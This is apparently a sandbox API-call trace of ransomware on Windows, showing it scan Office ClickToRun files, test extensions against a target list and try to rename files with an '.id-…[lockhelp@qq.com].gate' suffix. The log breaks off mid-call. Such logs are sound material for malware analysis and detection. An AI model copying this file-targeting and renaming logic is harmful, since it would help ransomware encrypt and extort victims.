lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0279.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.724] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19136) returned 1 [0279.724] CloseHandle (hObject=0x390) returned 1 [0279.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0279.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString=".doc") returned 4 [0279.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString=".docx") returned 5 [0279.725] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.725] lstrlenW (lpString=".pdf") returned 4 [0279.725] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString=".xls") returned 4 [0279.725] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString=".xlsx") returned 5 [0279.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.725] lstrlenW (lpString=".ppt") returned 4 [0279.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString=".zip") returned 4 [0279.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString=".rar") returned 4 [0279.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString=".bz2") returned 4 [0279.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.725] lstrlenW (lpString=".7z") returned 3 [0279.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString=".dbf") returned 4 [0279.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString=".1cd") returned 4 [0279.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString=".jpg") returned 4 [0279.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.725] lstrlenW (lpString=".doc") returned 4 [0279.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.726] lstrlenW (lpString=".docx") returned 5 [0279.726] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.726] lstrlenW (lpString=".pdf") returned 4 [0279.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.726] lstrlenW (lpString=".xls") returned 4 [0279.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.726] lstrlenW (lpString=".xlsx") returned 5 [0279.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.726] lstrlenW (lpString=".ppt") returned 4 [0279.726] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.726] lstrlenW (lpString=".zip") returned 4 [0279.726] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.726] lstrlenW (lpString=".rar") returned 4 [0279.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.726] lstrlenW (lpString=".bz2") returned 4 [0279.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.726] lstrlenW (lpString=".7z") returned 3 [0279.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.726] lstrlenW (lpString=".dbf") returned 4 [0279.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.726] lstrlenW (lpString=".1cd") returned 4 [0279.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0279.726] lstrlenW (lpString=".jpg") returned 4 [0279.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.726] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.726] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0279.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.727] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18624) returned 1 [0279.727] CloseHandle (hObject=0x390) returned 1 [0279.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0279.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.728] lstrlenW (lpString=".doc") returned 4 [0279.728] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.728] lstrlenW (lpString=".docx") returned 5 [0279.728] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.728] lstrlenW (lpString=".pdf") returned 4 [0279.728] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.728] lstrlenW (lpString=".xls") returned 4 [0279.728] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.728] lstrlenW (lpString=".xlsx") returned 5 [0279.728] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.728] lstrlenW (lpString=".ppt") returned 4 [0279.728] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.728] lstrlenW (lpString=".zip") returned 4 [0279.728] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.728] lstrlenW (lpString=".rar") returned 4 [0279.728] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.728] lstrlenW (lpString=".bz2") returned 4 [0279.728] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.728] lstrlenW (lpString=".7z") returned 3 [0279.729] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.729] lstrlenW (lpString=".dbf") returned 4 [0279.729] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.729] lstrlenW (lpString=".1cd") returned 4 [0279.729] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.729] lstrlenW (lpString=".jpg") returned 4 [0279.729] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.729] lstrlenW (lpString=".doc") returned 4 [0279.729] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.729] lstrlenW (lpString=".docx") returned 5 [0279.729] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.729] lstrlenW (lpString=".pdf") returned 4 [0279.729] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.729] lstrlenW (lpString=".xls") returned 4 [0279.729] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.729] lstrlenW (lpString=".xlsx") returned 5 [0279.729] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.729] lstrlenW (lpString=".ppt") returned 4 [0279.729] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.729] lstrlenW (lpString=".zip") returned 4 [0279.730] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.730] lstrlenW (lpString=".rar") returned 4 [0279.730] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.730] lstrlenW (lpString=".bz2") returned 4 [0279.730] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.730] lstrlenW (lpString=".7z") returned 3 [0279.730] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.730] lstrlenW (lpString=".dbf") returned 4 [0279.730] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.730] lstrlenW (lpString=".1cd") returned 4 [0279.730] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0279.730] lstrlenW (lpString=".jpg") returned 4 [0279.730] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.730] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.730] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0279.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.730] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11616) returned 1 [0279.730] CloseHandle (hObject=0x390) returned 1 [0279.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0279.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.731] lstrlenW (lpString=".doc") returned 4 [0279.731] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.731] lstrlenW (lpString=".docx") returned 5 [0279.731] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.731] lstrlenW (lpString=".pdf") returned 4 [0279.731] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.731] lstrlenW (lpString=".xls") returned 4 [0279.731] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.731] lstrlenW (lpString=".xlsx") returned 5 [0279.731] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.731] lstrlenW (lpString=".ppt") returned 4 [0279.731] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.731] lstrlenW (lpString=".zip") returned 4 [0279.731] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.731] lstrlenW (lpString=".rar") returned 4 [0279.731] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.731] lstrlenW (lpString=".bz2") returned 4 [0279.731] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.731] lstrlenW (lpString=".7z") returned 3 [0279.731] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.731] lstrlenW (lpString=".dbf") returned 4 [0279.732] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.732] lstrlenW (lpString=".1cd") returned 4 [0279.732] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.732] lstrlenW (lpString=".jpg") returned 4 [0279.732] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.732] lstrlenW (lpString=".doc") returned 4 [0279.732] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString=".docx") returned 5 [0279.732] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.732] lstrlenW (lpString=".pdf") returned 4 [0279.732] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString=".xls") returned 4 [0279.732] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString=".xlsx") returned 5 [0279.732] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.732] lstrlenW (lpString=".ppt") returned 4 [0279.732] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.732] lstrlenW (lpString=".zip") returned 4 [0279.732] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString=".rar") returned 4 [0279.732] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.732] lstrlenW (lpString=".bz2") returned 4 [0279.732] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.732] lstrlenW (lpString=".7z") returned 3 [0279.733] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.733] lstrlenW (lpString=".dbf") returned 4 [0279.733] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.733] lstrlenW (lpString=".1cd") returned 4 [0279.733] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0279.733] lstrlenW (lpString=".jpg") returned 4 [0279.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.733] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.733] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0279.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.733] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19648) returned 1 [0279.733] CloseHandle (hObject=0x390) returned 1 [0279.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0279.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0279.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0279.734] lstrlenW (lpString=".doc") returned 4 [0279.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.734] lstrlenW (lpString=".docx") returned 5 [0279.734] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.734] lstrlenW (lpString=".pdf") returned 4 [0279.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.734] lstrlenW (lpString=".xls") returned 4 [0279.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.734] lstrlenW (lpString=".xlsx") returned 5 [0279.734] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.734] lstrlenW (lpString=".ppt") returned 4 [0279.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0279.734] lstrlenW (lpString=".zip") returned 4 [0279.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.734] lstrlenW (lpString=".rar") returned 4 [0279.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.734] lstrlenW (lpString=".bz2") returned 4 [0279.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.734] lstrlenW (lpString=".7z") returned 3 [0279.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0279.734] lstrlenW (lpString=".dbf") returned 4 [0279.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0283.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft 